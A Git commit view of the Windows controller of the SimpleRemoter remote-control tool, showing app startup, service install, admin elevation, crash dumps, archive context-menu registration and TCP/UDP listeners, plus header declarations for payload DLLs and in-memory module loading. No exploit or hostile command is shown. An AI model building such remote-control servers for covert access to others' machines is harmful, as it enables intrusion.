Init: Migrate SimpleRemoter (Since v1.3.1) to Gitea

This commit is contained in:
yuanyuanxiang
2026-04-19 19:55:01 +02:00
commit 5a325a202b
744 changed files with 235562 additions and 0 deletions

View File

@@ -0,0 +1,647 @@
// 2015Remote.cpp : 定义应用程序的类行为。
//
#include "stdafx.h"
#include "2015Remote.h"
#include "SplashDlg.h"
#include "2015RemoteDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
// dump相关
#include <io.h>
#include <direct.h>
#include <DbgHelp.h>
#include <intrin.h> // for __cpuid, __cpuidex
#include "IOCPUDPServer.h"
#include "ServerServiceWrapper.h"
#include "common/SafeString.h"
#include "CrashReport.h"
#include "UIBranding.h"
#pragma comment(lib, "Dbghelp.lib")
// 外部声明:程序退出标志(定义在 2015RemoteDlg.cpp
extern std::atomic<bool> g_bAppExiting;
// Check if CPU supports AVX2 instruction set
static BOOL IsAVX2Supported()
{
int cpuInfo[4] = { 0 };
__cpuid(cpuInfo, 0);
int nIds = cpuInfo[0];
if (nIds >= 7) {
__cpuidex(cpuInfo, 7, 0);
return (cpuInfo[1] & (1 << 5)) != 0; // EBX bit 5 = AVX2
}
return FALSE;
}
BOOL ServerPair::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort)
{
UINT ret1 = m_tcpServer->StartServer(NotifyProc, OffProc, uPort);
if (ret1) THIS_APP->MessageBox(_L(_T("启动TCP服务失败: ")) + std::to_string(uPort).c_str()
+ _L(_T("。错误码: ")) + std::to_string(ret1).c_str(), _TR("提示"), MB_ICONINFORMATION);
UINT ret2 = m_udpServer->StartServer(NotifyProc, OffProc, uPort);
if (ret2) THIS_APP->MessageBox(_L(_T("启动UDP服务失败: ")) + std::to_string(uPort).c_str()
+ _L(_T("。错误码: ")) + std::to_string(ret2).c_str(), _TR("提示"), MB_ICONINFORMATION);
return (ret1 == 0 || ret2 == 0);
}
CMy2015RemoteApp* GetThisApp()
{
return ((CMy2015RemoteApp*)AfxGetApp());
}
config& GetThisCfg()
{
config *cfg = GetThisApp()->GetCfg();
return *cfg;
}
std::string GetMasterHash()
{
static std::string hash(skCrypt(MASTER_HASH));
return hash;
}
/**
* @brief 程序遇到未知BUG导致终止时调用此函数不弹框
* 并且转储dump文件到dump目录.
*/
long WINAPI whenbuged(_EXCEPTION_POINTERS *excp)
{
// 如果程序正在退出,静默退出,返回码 0避免服务重启
if (g_bAppExiting) {
ExitProcess(0);
}
// 获取dump文件夹若不存在则创建之
char dumpDir[_MAX_PATH];
char dumpFile[_MAX_PATH + 64];
if (!GetModuleFileNameA(NULL, dumpDir, _MAX_PATH)) {
return EXCEPTION_EXECUTE_HANDLER;
}
char* p = strrchr(dumpDir, '\\');
if (p) {
strcpy_s(p + 1, _MAX_PATH - (p - dumpDir + 1), "dump");
} else {
strcpy_s(dumpDir, _MAX_PATH, "dump");
}
if (_access(dumpDir, 0) == -1)
_mkdir(dumpDir);
// 构建完整的dump文件路径
char curTime[64], dumpName[128];
time_t TIME = time(0);
struct tm localTime;
localtime_s(&localTime, &TIME);
strftime(curTime, sizeof(curTime), "%Y-%m-%d %H%M%S", &localTime);
sprintf_s(dumpName, sizeof(dumpName), "\\" BRAND_DUMP_PREFIX "_%s.dmp", curTime);
sprintf_s(dumpFile, sizeof(dumpFile), "%s%s", dumpDir, dumpName);
HANDLE hFile = ::CreateFileA(dumpFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL);
if(INVALID_HANDLE_VALUE != hFile) {
MINIDUMP_EXCEPTION_INFORMATION einfo = {::GetCurrentThreadId(), excp, FALSE};
::MiniDumpWriteDump(::GetCurrentProcess(), ::GetCurrentProcessId(),
hFile, MiniDumpWithFullMemory, &einfo, NULL, NULL);
SAFE_CLOSE_HANDLE(hFile);
}
return EXCEPTION_EXECUTE_HANDLER;
}
// CMy2015RemoteApp
BEGIN_MESSAGE_MAP(CMy2015RemoteApp, CWinApp)
ON_COMMAND(ID_HELP, &CWinApp::OnHelp)
END_MESSAGE_MAP()
std::string GetPwdHash();
// CMy2015RemoteApp 构造
// 自定义压缩文件
#include <windows.h>
#include <shlobj.h>
#include "ZstdArchive.h"
bool RegisterZstaMenu(const std::string& exePath)
{
HKEY hKey;
CString _compressText = _TR("压缩为 ZSTA 文件");
CString _extractText = _TR("解压 ZSTA 文件");
CString _zstaDesc = _TR("ZSTA 压缩文件");
const char* compressText = (LPCSTR)_compressText;
const char* extractText = (LPCSTR)_extractText;
const char* zstaDesc = (LPCSTR)_zstaDesc;
const char* zstaExt = "ZstaArchive";
// 文件右键
if (RegCreateKeyExA(HKEY_CLASSES_ROOT, "*\\shell\\CompressToZsta", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)compressText, strlen(compressText) + 1);
RegCloseKey(hKey);
}
std::string compressCmd = "\"" + exePath + "\" -c \"%1\"";
if (RegCreateKeyExA(HKEY_CLASSES_ROOT, "*\\shell\\CompressToZsta\\command", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)compressCmd.c_str(), compressCmd.size() + 1);
RegCloseKey(hKey);
}
// 文件夹右键
if (RegCreateKeyExA(HKEY_CLASSES_ROOT, "Directory\\shell\\CompressToZsta", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)compressText, strlen(compressText) + 1);
RegCloseKey(hKey);
}
if (RegCreateKeyExA(HKEY_CLASSES_ROOT, "Directory\\shell\\CompressToZsta\\command", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)compressCmd.c_str(), compressCmd.size() + 1);
RegCloseKey(hKey);
}
// .zsta 文件关联
if (RegCreateKeyExA(HKEY_CLASSES_ROOT, ".zsta", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)zstaExt, strlen(zstaExt) + 1);
RegCloseKey(hKey);
}
if (RegCreateKeyExA(HKEY_CLASSES_ROOT, "ZstaArchive", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)zstaDesc, strlen(zstaDesc) + 1);
RegCloseKey(hKey);
}
// .zsta 右键菜单
if (RegCreateKeyExA(HKEY_CLASSES_ROOT, "ZstaArchive\\shell\\extract", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)extractText, strlen(extractText) + 1);
RegCloseKey(hKey);
}
std::string extractCmd = "\"" + exePath + "\" -x \"%1\"";
if (RegCreateKeyExA(HKEY_CLASSES_ROOT, "ZstaArchive\\shell\\extract\\command", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)extractCmd.c_str(), extractCmd.size() + 1);
RegCloseKey(hKey);
}
SHChangeNotify(SHCNE_ASSOCCHANGED, SHCNF_IDLIST, NULL, NULL);
return true;
}
bool UnregisterZstaMenu()
{
RegDeleteTreeA(HKEY_CLASSES_ROOT, "*\\shell\\CompressToZsta");
RegDeleteTreeA(HKEY_CLASSES_ROOT, "Directory\\shell\\CompressToZsta");
RegDeleteTreeA(HKEY_CLASSES_ROOT, ".zsta");
RegDeleteTreeA(HKEY_CLASSES_ROOT, "ZstaArchive");
SHChangeNotify(SHCNE_ASSOCCHANGED, SHCNF_IDLIST, NULL, NULL);
return true;
}
std::string RemoveTrailingSlash(const std::string& path)
{
std::string p = path;
while (!p.empty() && (p.back() == '/' || p.back() == '\\')) {
p.pop_back();
}
return p;
}
std::string RemoveZstaExtension(const std::string& path)
{
if (path.size() >= 5) {
std::string ext = path.substr(path.size() - 5);
for (char& c : ext) c = tolower(c);
if (ext == ".zsta") {
return path.substr(0, path.size() - 5);
}
}
return path + "_extract";
}
CMy2015RemoteApp::CMy2015RemoteApp()
{
// 支持重新启动管理器
m_dwRestartManagerSupportFlags = AFX_RESTART_MANAGER_SUPPORT_RESTART;
// TODO: 在此处添加构造代码,
// 将所有重要的初始化放置在 InitInstance 中
m_Mutex = NULL;
#ifdef _DEBUG
std::string masterHash(GetMasterHash());
m_iniFile = GetPwdHash() == masterHash ? new config : new iniFile;
#else
m_iniFile = new iniFile;
#endif
srand(static_cast<unsigned int>(time(0)));
}
// 唯一的一个 CMy2015RemoteApp 对象
CMy2015RemoteApp theApp;
// 处理服务相关的命令行参数
// 返回值: TRUE 表示已处理服务命令程序应退出FALSE 表示继续正常启动
static BOOL HandleServiceCommandLine()
{
CString cmdLine = ::GetCommandLine();
cmdLine.MakeLower();
// -service: 作为服务运行
if (cmdLine.Find(_T("-service")) != -1) {
int r = ServerService_Run();
Mprintf("[HandleServiceCommandLine] ServerService_Run %s\n", r ? "failed" : "succeed");
return TRUE;
}
// -install: 安装服务
if (cmdLine.Find(_T("-install")) != -1) {
BOOL r = ServerService_Install();
Mprintf("[HandleServiceCommandLine] ServerService_Install %s\n", !r ? "failed" : "succeed");
return TRUE;
}
// -uninstall: 卸载服务
if (cmdLine.Find(_T("-uninstall")) != -1) {
BOOL r = ServerService_Uninstall();
Mprintf("[HandleServiceCommandLine] ServerService_Uninstall %s\n", !r ? "failed" : "succeed");
return TRUE;
}
// -agent 或 -agent-asuser: 由服务启动的GUI代理模式
// 必须先检查更长的参数 -agent-asuser避免被 -agent 误匹配
if (cmdLine.Find(_T("-agent-asuser")) != -1) {
Mprintf("[HandleServiceCommandLine] Run service agent as USER: '%s'\n", cmdLine.GetString());
return FALSE;
}
if (cmdLine.Find(_T("-agent")) != -1) {
Mprintf("[HandleServiceCommandLine] Run service agent as SYSTEM: '%s'\n", cmdLine.GetString());
return FALSE;
}
// 无参数时,作为服务启动
BOOL registered = FALSE;
BOOL running = FALSE;
char servicePath[MAX_PATH] = { 0 };
BOOL r = ServerService_CheckStatus(&registered, &running, servicePath, MAX_PATH);
Mprintf("[HandleServiceCommandLine] ServerService_CheckStatus %s\n", !r ? "failed" : "succeed");
char curPath[MAX_PATH];
GetModuleFileNameA(NULL, curPath, MAX_PATH);
_strlwr(servicePath);
_strlwr(curPath);
BOOL same = (strstr(servicePath, curPath) != 0);
if (registered && !same) {
BOOL r = ServerService_Uninstall();
Mprintf("[HandleServiceCommandLine] ServerService Uninstall %s: %s\n", r ? "succeed" : "failed", servicePath);
registered = FALSE;
}
if (!registered) {
BOOL r = ServerService_Install();
Mprintf("[HandleServiceCommandLine] ServerService Install: %s\n", r ? "succeed" : "failed", curPath);
return r;
} else if (!running) {
int r = ServerService_Run();
Mprintf("[HandleServiceCommandLine] ServerService Run '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed");
if (r) {
r = ServerService_StartSimple();
Mprintf("[HandleServiceCommandLine] ServerService Start '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed");
return r == ERROR_SUCCESS;
}
return TRUE;
}
return TRUE;
}
// 检查是否以代理模式运行
static BOOL IsAgentMode()
{
CString cmdLine = ::GetCommandLine();
cmdLine.MakeLower();
return cmdLine.Find(_T("-agent")) != -1;
}
// CMy2015RemoteApp 初始化
BOOL IsRunningAsAdmin()
{
BOOL isAdmin = FALSE;
PSID administratorsGroup = NULL;
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0, &administratorsGroup)) {
if (!CheckTokenMembership(NULL, administratorsGroup, &isAdmin)) {
isAdmin = FALSE;
}
FreeSid(administratorsGroup);
}
return isAdmin;
}
BOOL LaunchAsAdmin(const char* szFilePath, const char* verb)
{
CString cmdLine = AfxGetApp()->m_lpCmdLine, arg;
cmdLine.Trim(); // 去掉前后空格
if (cmdLine.CompareNoCase(_T("-agent-asuser")) == 0) {
arg = "-agent-asuser";
}
else if (cmdLine.CompareNoCase(_T("-agent")) == 0) {
arg = "-agent";
}
SHELLEXECUTEINFOA shExecInfo;
ZeroMemory(&shExecInfo, sizeof(SHELLEXECUTEINFOA));
shExecInfo.cbSize = sizeof(SHELLEXECUTEINFOA);
shExecInfo.fMask = SEE_MASK_DEFAULT;
shExecInfo.hwnd = NULL;
shExecInfo.lpVerb = verb;
shExecInfo.lpFile = szFilePath;
shExecInfo.nShow = SW_NORMAL;
shExecInfo.lpParameters = arg.IsEmpty() ? NULL : (LPCSTR)arg;
return ShellExecuteExA(&shExecInfo);
}
BOOL CMy2015RemoteApp::ProcessZstaCmd()
{
// 检查是否已注册右键菜单
char exePath[MAX_PATH];
GetModuleFileNameA(NULL, exePath, MAX_PATH);
// 检查当前注册的路径是否是自己
HKEY hKey;
bool needRegister = false;
if (RegOpenKeyExA(HKEY_CLASSES_ROOT, "ZstaArchive\\shell\\extract\\command",
0, KEY_READ, &hKey) == ERROR_SUCCESS) {
char regPath[MAX_PATH * 2] = { 0 };
DWORD size = sizeof(regPath);
RegQueryValueExA(hKey, NULL, NULL, NULL, (BYTE*)regPath, &size);
RegCloseKey(hKey);
// 检查注册的路径是否包含当前程序路径
if (strstr(regPath, exePath) == NULL) {
needRegister = true; // 路径不同,需要重新注册
}
} else {
needRegister = true; // 未注册
}
if (needRegister) {
RegisterZstaMenu(exePath);
}
// 处理自定义压缩和解压命令
if (__argc >= 3) {
std::string cmd = __argv[1];
std::string path = __argv[2];
// 压缩
if (cmd == "-c") {
std::string src = RemoveTrailingSlash(path);
std::string dst = src + ".zsta";
auto b = (zsta::CZstdArchive::Compress(src, dst) == zsta::Error::Success);
Mprintf("压缩%s: %s -> %s\n", b ? "成功" : "失败", src.c_str(), dst.c_str());
return FALSE;
}
// 解压
if (cmd == "-x") {
std::string dst = RemoveZstaExtension(path);
auto b = (zsta::CZstdArchive::Extract(path, dst) == zsta::Error::Success);
Mprintf("解压%s: %s -> %s\n", b ? "成功" : "失败", path.c_str(), dst.c_str());
return FALSE;
}
}
return TRUE;
}
BOOL CMy2015RemoteApp::InitInstance()
{
CString cmdLine = ::GetCommandLine();
Mprintf("启动运行: %s\n", cmdLine);
// 防止用户频繁点击导致多实例启动冲突
// 服务进程、安装/卸载命令不需要互斥量检查(由 SCM 管理)
// 代理模式和普通模式使用相同互斥量TCP 监听,只能运行一个)
#ifndef _DEBUG
{
CString cmdLineLower = cmdLine;
cmdLineLower.MakeLower();
// 以下命令跳过互斥量检查:
// - 服务进程和安装/卸载命令(由 SCM 管理)
// - 压缩/解压命令(独立功能,不启动主程序)
BOOL skipMutex = (cmdLineLower.Find(_T("-service")) != -1) ||
(cmdLineLower.Find(_T("-install")) != -1) ||
(cmdLineLower.Find(_T("-uninstall")) != -1) ||
(cmdLineLower.Find(_T("-zsta")) != -1);
if (!skipMutex) {
std::string masterHash(GetMasterHash());
std::string mu = GetPwdHash()==masterHash ? "MASTER.EXE" : "YAMA.EXE";
m_Mutex = CreateMutex(NULL, FALSE, mu.c_str());
if (ERROR_ALREADY_EXISTS == GetLastError()) {
SAFE_CLOSE_HANDLE(m_Mutex);
m_Mutex = NULL;
// 不弹框,静默退出,避免用户频繁点击时弹出多个对话框
Mprintf("[InitInstance] 一个主控程序已经在运行,静默退出。\n");
return FALSE;
}
}
}
#endif
// 安装安全字符串 handler避免 _s 函数参数无效时崩溃且无 dump
InstallSafeStringHandler();
// Check if CPU supports AVX2 instruction set
if (!IsAVX2Supported()) {
::MessageBoxA(NULL,
"此程序需要支持 AVX2 指令集的 CPU2013年后的处理器。您的 CPU 不支持 AVX2程序无法运行。",
"CPU 不兼容", MB_ICONERROR);
return FALSE;
}
if (!ProcessZstaCmd()) {
Mprintf("[InitInstance] 处理自定义压缩/解压命令后退出。\n");
return FALSE;
}
BOOL runNormal = THIS_CFG.GetInt("settings", "RunNormal", 0);
// 检查代理崩溃保护标志
// 如果服务检测到代理连续崩溃,会设置此标志并停止服务
// 用户下次启动时(普通模式或代理模式)都会看到提示
if (THIS_CFG.GetInt(CFG_CRASH_SECTION, CFG_CRASH_PROTECTED, 0) == 1) {
// 清除崩溃保护标志
THIS_CFG.SetInt(CFG_CRASH_SECTION, CFG_CRASH_PROTECTED, 0);
// 确保是正常模式(服务端已设置,这里再次确保)
THIS_CFG.SetInt("settings", "RunNormal", 1);
runNormal = 1;
Mprintf("[InitInstance] 检测到代理崩溃保护标志,切换到正常运行模式。\n");
MessageBoxL("检测到代理程序连续崩溃,已自动切换到正常运行模式。\n\n"
"如需重新启用服务模式,请在设置中手动切换。",
"崩溃保护", MB_ICONWARNING);
}
char curFile[MAX_PATH] = { 0 };
GetModuleFileNameA(NULL, curFile, MAX_PATH);
// 代理模式由服务管理,不应再次请求管理员权限提升
// 否则会导致1) 原进程正常退出(exitCode=0)不被视为崩溃 2) 被提升的进程脱离服务监控
BOOL isAgentMode = IsAgentMode();
if (runNormal != 1 && !isAgentMode && !IsRunningAsAdmin() && LaunchAsAdmin(curFile, "runas")) {
Mprintf("[InitInstance] 程序没有管理员权限,用户选择以管理员身份重新运行。\n");
return FALSE;
}
// 首先处理服务命令行参数
if (runNormal != 1 && HandleServiceCommandLine()) {
Mprintf("[InitInstance] 服务命令已处理,退出。\n");
return FALSE; // 服务命令已处理,退出
}
Mprintf("[InitInstance] 主控程序启动运行。\n");
SetUnhandledExceptionFilter(&whenbuged);
// 设置 AppUserModelID避免 Windows 10/11 通知不能显示标题
// 动态加载以兼容 XP/Vista
typedef HRESULT(WINAPI* PFN_SetAppUserModelID)(PCWSTR);
HMODULE hShell32 = GetModuleHandleA("shell32.dll");
if (hShell32) {
PFN_SetAppUserModelID pfn = (PFN_SetAppUserModelID)GetProcAddress(hShell32,
"SetCurrentProcessExplicitAppUserModelID");
if (pfn) pfn(L"YAMA");
}
// 设置线程区域为中文,确保 MBCS 程序在非中文系统上也能正确显示对话框中的中文
// 必须在创建任何对话框之前调用
SetChineseThreadLocale();
// 加载语言包(必须在显示任何文本之前)
auto lang = THIS_CFG.GetStr("settings", "Language", "en_US");
auto langDir = THIS_CFG.GetStr("settings", "LangDir", "./lang");
langDir = langDir.empty() ? "./lang" : langDir;
if (PathFileExists(langDir.c_str())) {
g_Lang.Init(langDir.c_str());
g_Lang.Load(lang.c_str());
Mprintf("语言包目录已经指定[%s], 语言数量: %d\n", langDir.c_str(), g_Lang.GetLanguageCount());
}
// 创建并显示启动画面
CSplashDlg* pSplash = new CSplashDlg();
pSplash->Create(NULL);
pSplash->UpdateProgressDirect(5, _TR("正在初始化系统图标..."));
SHFILEINFO sfi = {};
HIMAGELIST hImageList = (HIMAGELIST)SHGetFileInfo((LPCTSTR)_T(""), 0, &sfi, sizeof(SHFILEINFO), SHGFI_LARGEICON | SHGFI_SYSICONINDEX);
m_pImageList_Large.Attach(hImageList);
hImageList = (HIMAGELIST)SHGetFileInfo((LPCTSTR)_T(""), 0, &sfi, sizeof(SHFILEINFO), SHGFI_SMALLICON | SHGFI_SYSICONINDEX);
m_pImageList_Small.Attach(hImageList);
pSplash->UpdateProgressDirect(10, _TR("正在初始化公共控件..."));
// 如果一个运行在 Windows XP 上的应用程序清单指定要
// 使用 ComCtl32.dll 版本 6 或更高版本来启用可视化方式,
//则需要 InitCommonControlsEx()。否则,将无法创建窗口。
INITCOMMONCONTROLSEX InitCtrls;
InitCtrls.dwSize = sizeof(InitCtrls);
// 将它设置为包括所有要在应用程序中使用的
// 公共控件类。
InitCtrls.dwICC = ICC_WIN95_CLASSES;
InitCommonControlsEx(&InitCtrls);
CWinApp::InitInstance();
AfxEnableControlContainer();
// 创建 shell 管理器,以防对话框包含
// 任何 shell 树视图控件或 shell 列表视图控件。
CShellManager *pShellManager = new CShellManager;
// 标准初始化
// 如果未使用这些功能并希望减小
// 最终可执行文件的大小,则应移除下列
// 更改用于存储设置的注册表项
// 可在 UIBranding.h 中修改 BRAND_REGISTRY_KEY
SetRegistryKey(_T(BRAND_REGISTRY_KEY));
// 注册一个事件,用于进程间通信
// 警告BRAND_EVENT_PREFIX 为系统保留,请勿修改!
char eventName[64] = { 0 };
sprintf(eventName, BRAND_EVENT_PREFIX "_%d", GetCurrentProcessId());
HANDLE hEvent = CreateEventA(NULL, TRUE, FALSE, eventName);
if (hEvent == NULL) {
Mprintf("[InitInstance] 创建事件失败,错误码: %d\n", GetLastError());
} else {
Mprintf("[InitInstance] 创建事件成功,事件名: %s\n", eventName);
}
CMy2015RemoteDlg dlg(nullptr);
m_pMainWnd = &dlg;
INT_PTR nResponse = dlg.DoModal();
if (nResponse == IDOK) {
// TODO: 在此放置处理何时用
// “确定”来关闭对话框的代码
} else if (nResponse == IDCANCEL) {
// TODO: 在此放置处理何时用
// “取消”来关闭对话框的代码
}
// 删除上面创建的 shell 管理器。
if (pShellManager != NULL) {
delete pShellManager;
}
if (hEvent) {
SAFE_CLOSE_HANDLE(hEvent);
Mprintf("[InitInstance] 关闭事件句柄。\n");
}
// 由于对话框已关闭,所以将返回 FALSE 以便退出应用程序,
// 而不是启动应用程序的消息泵。
return FALSE;
}
int CMy2015RemoteApp::ExitInstance()
{
if (m_Mutex) {
SAFE_CLOSE_HANDLE(m_Mutex);
m_Mutex = NULL;
}
__try {
Delete();
} __except(EXCEPTION_EXECUTE_HANDLER) {
}
SAFE_DELETE(m_iniFile);
Mprintf("[ExitInstance] 主控程序退出运行。\n");
// 代理模式正常退出时,需要通知服务停止监控
if (IsAgentMode()) {
// 先尝试通过 SCM API 停止服务(需要管理员权限)
int ret = ServerService_Stop();
if (ret == 0) {
Mprintf("[ExitInstance] 代理模式,已通过 SCM 停止服务。\n");
} else {
// SCM 方式失败(可能是用户权限不足),使用 ExitProcess 确保退出代码正确
// 注意:不用 return因为 MFC 对话框模式下返回值可能被忽略
Mprintf("[ExitInstance] 代理模式SCM 失败(%d),使用 ExitProcess(%d)。\n", ret, EXIT_MANUAL_STOP);
Sleep(500);
ExitProcess(EXIT_MANUAL_STOP);
}
}
Sleep(500);
return CWinApp::ExitInstance();
}

View File

@@ -0,0 +1,171 @@
// 2015Remote.h : PROJECT_NAME 应用程序的主头文件
//
#pragma once
#ifndef __AFXWIN_H__
#error "在包含此文件之前包含“stdafx.h”以生成 PCH 文件"
#endif
#include "resource.h" // 主符号
#include "common/iniFile.h"
#include "IOCPServer.h"
#include "IOCPUDPServer.h"
#include "IOCPKCPServer.h"
// CMy2015RemoteApp:
// 有关此类的实现,请参阅 2015Remote.cpp
//
// ServerPair:
// 一对SOCKET服务端监听端口: 同时监听TCP和UDP.
class ServerPair
{
private:
Server* m_tcpServer;
Server* m_udpServer;
public:
ServerPair(int method=0, HWND hWnd = 0) :
m_tcpServer(new IOCPServer(hWnd)),
m_udpServer(method ? (Server*)new IOCPKCPServer : new IOCPUDPServer) {}
virtual ~ServerPair()
{
SAFE_DELETE(m_tcpServer);
SAFE_DELETE(m_udpServer);
}
BOOL StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort);
void UpdateMaxConnection(int maxConn)
{
if (m_tcpServer) m_tcpServer->UpdateMaxConnection(maxConn);
if (m_udpServer) m_udpServer->UpdateMaxConnection(maxConn);
}
void Destroy()
{
if (m_tcpServer) m_tcpServer->Destroy();
if (m_udpServer) m_udpServer->Destroy();
}
void Disconnect(CONTEXT_OBJECT* ctx)
{
if (m_tcpServer) m_tcpServer->Disconnect(ctx);
if (m_udpServer) m_udpServer->Disconnect(ctx);
}
};
#include "SplashDlg.h"
class CMy2015RemoteApp : public CWinApp
{
private:
// 配置文件读取器
config* m_iniFile = nullptr;
// 服务端对象列表
std::vector<ServerPair*> m_iocpServer;
// 互斥量
HANDLE m_Mutex = nullptr;
// 启动画面
CSplashDlg* m_pSplash = nullptr;
public:
CMy2015RemoteApp();
CImageList m_pImageList_Large; // 系统大图标
CImageList m_pImageList_Small; // 系统小图标
// 获取启动画面指针
CSplashDlg* GetSplash() const
{
return m_pSplash;
}
void SetSplash(CSplashDlg* pSplash)
{
m_pSplash = pSplash;
}
BOOL ProcessZstaCmd();
virtual BOOL InitInstance();
config* GetCfg() const
{
return m_iniFile;
}
int MessageBox(const CString& strText, const CString& strCaption = NULL, UINT nType = 0)
{
return m_pSplash ? m_pSplash->SafeMessageBox(strText, strCaption, nType) : ::MessageBox(NULL, strText, strCaption, nType);
}
// 启动多个服务端成功返回0
// nPort示例: 6543;7543
UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, const std::string& uPort, int maxConn, const std::string& method)
{
bool succeed = false;
auto list = StringToVector(uPort, ';');
auto methods = StringToVector(method, ';', list.size());
for (int i=0; i<list.size(); ++i) {
int port = std::atoi(list[i].c_str());
auto svr = new ServerPair(atoi(methods[i].c_str()), m_pMainWnd->GetSafeHwnd());
BOOL ret = svr->StartServer(NotifyProc, OffProc, port);
if (ret == FALSE) {
SAFE_DELETE(svr);
continue;
}
svr->UpdateMaxConnection(maxConn);
succeed = true;
m_iocpServer.push_back(svr);
}
return succeed ? 0 : -1;
}
// 释放服务端 SOCKET
void Destroy()
{
for (int i=0; i<m_iocpServer.size(); ++i) {
m_iocpServer[i]->Destroy();
}
}
// 释放服务端指针
void Delete()
{
for (int i = 0; i < m_iocpServer.size(); ++i) {
SAFE_DELETE(m_iocpServer[i]);
}
m_iocpServer.clear();
}
// 更新最大连接数
void UpdateMaxConnection(int maxConn)
{
for (int i = 0; i < m_iocpServer.size(); ++i) {
m_iocpServer[i]->UpdateMaxConnection(maxConn);
}
}
DECLARE_MESSAGE_MAP()
virtual int ExitInstance();
public:
// 发送系统通知
void PostNotify(const CString& title, const CString& msg) {
if (m_pMainWnd && m_pMainWnd->GetSafeHwnd())
m_pMainWnd->PostMessageA(WM_SHOWNOTIFY, (WPARAM)new CharMsg(title), (LPARAM)new CharMsg(msg));
}
};
extern CMy2015RemoteApp theApp;
CMy2015RemoteApp* GetThisApp();
config& GetThisCfg();
std::string GetMasterHash();
#define THIS_APP GetThisApp()
#define THIS_CFG GetThisCfg()

Binary file not shown.

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,484 @@
// 2015RemoteDlg.h : 头文件
//
#pragma once
#include "afxcmn.h"
#include "TrueColorToolBar.h"
#include "IOCPServer.h"
#include <common/location.h>
#include <map>
#include <unordered_map>
#include <mutex>
#include <vector>
#include <string>
#include "WebService.h"
#include "CListCtrlEx.h"
#include "LangManager.h"
#include "client/MemoryModule.h"
//////////////////////////////////////////////////////////////////////////
// 以下为特殊需求使用
// 是否在退出主控端时也退出客户端
#define CLIENT_EXIT_WITH_SERVER 0
// 是否使用同步事件处理消息
#define USING_EVENT 1
#include "UIBranding.h"
#define VERSION_STR BRAND_VERSION
typedef struct DllInfo {
std::string Name;
Buffer* Data;
~DllInfo()
{
SAFE_DELETE(Data);
}
} DllInfo;
typedef struct FileTransformCmd {
CLock Lock;
std::map<std::string, uint64_t> CmdTime;
void PutCmd(const std::string& str)
{
Lock.Lock();
CmdTime[str] = time(0);
Lock.Unlock();
}
bool PopCmd(const std::string& str, int timeoutSec = 10)
{
Lock.Lock();
bool valid = CmdTime.find(str) != CmdTime.end() && time(0) - CmdTime[str] < timeoutSec;
CmdTime.erase(str);
Lock.Unlock();
return valid;
}
} FileTransformCmd;
#define ID_DYNAMIC_MENU_BASE 36500
#include "HostInfo.h"
#include "CGridDialog.h"
//////////////////////////////////////////////////////////////////////////
enum {
PAYLOAD_DLL_X86 = 0, // 32位 DLL
PAYLOAD_DLL_X64 = 1, // 64位 DLL
PAYLOAD_MAXTYPE
};
class CSplashDlg; // 前向声明
class CClientListDlg;
class CLicenseDlg;
class CSearchBarDlg;
#include "pwd_gen.h"
std::string GetDbPath();
typedef void (*contextModifier)(context* ctx, void* user);
bool IsDateGreaterOrEqual(const char* date1, const char* date2);
// V2 文件传输协议分界日期(>= 此日期的客户端支持 V2
#define FILE_TRANSFER_V2_DATE "Feb 27 2026"
// 前向声明
class CMy2015RemoteDlg;
extern CMy2015RemoteDlg* g_2015RemoteDlg;
// 检查客户端是否支持 V2 文件传输协议
// 返回 true 需同时满足1) 全局开关开启 2) 客户端支持 V2
// 注意m_bEnableFileV2 是 CMy2015RemoteDlg 的成员变量
bool SupportsFileTransferV2(context* ctx);
// 服务端待续传的传输信息
struct PendingTransferV2 {
uint64_t clientID;
std::vector<std::string> files;
DWORD startTime;
};
// 服务端待续传传输状态transferID → 传输信息)
extern std::map<uint64_t, PendingTransferV2> g_pendingTransfersV2;
extern std::mutex g_pendingTransfersV2Mtx;
// CMy2015RemoteDlg 对话框
class CMy2015RemoteDlg : public CDialogLangEx
{
public:
static std::string GetHardwareID(int v=-1);
_ClientList *m_ClientMap = nullptr;
CClientListDlg* m_pClientListDlg = nullptr;
CLicenseDlg* m_pLicenseDlg = nullptr;
CSearchBarDlg* m_pSearchBar = nullptr; // 搜索工具栏
BOOL m_bEnableFileV2 = FALSE; // V2 文件传输开关
// 构造
public:
CMy2015RemoteDlg(CWnd* pParent = NULL); // 标准构造函数
~CMy2015RemoteDlg();
// 对话框数据
enum { IDD = IDD_MY2015REMOTE_DIALOG };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
// 实现
protected:
HICON m_hIcon;
void* m_tinyDLL;
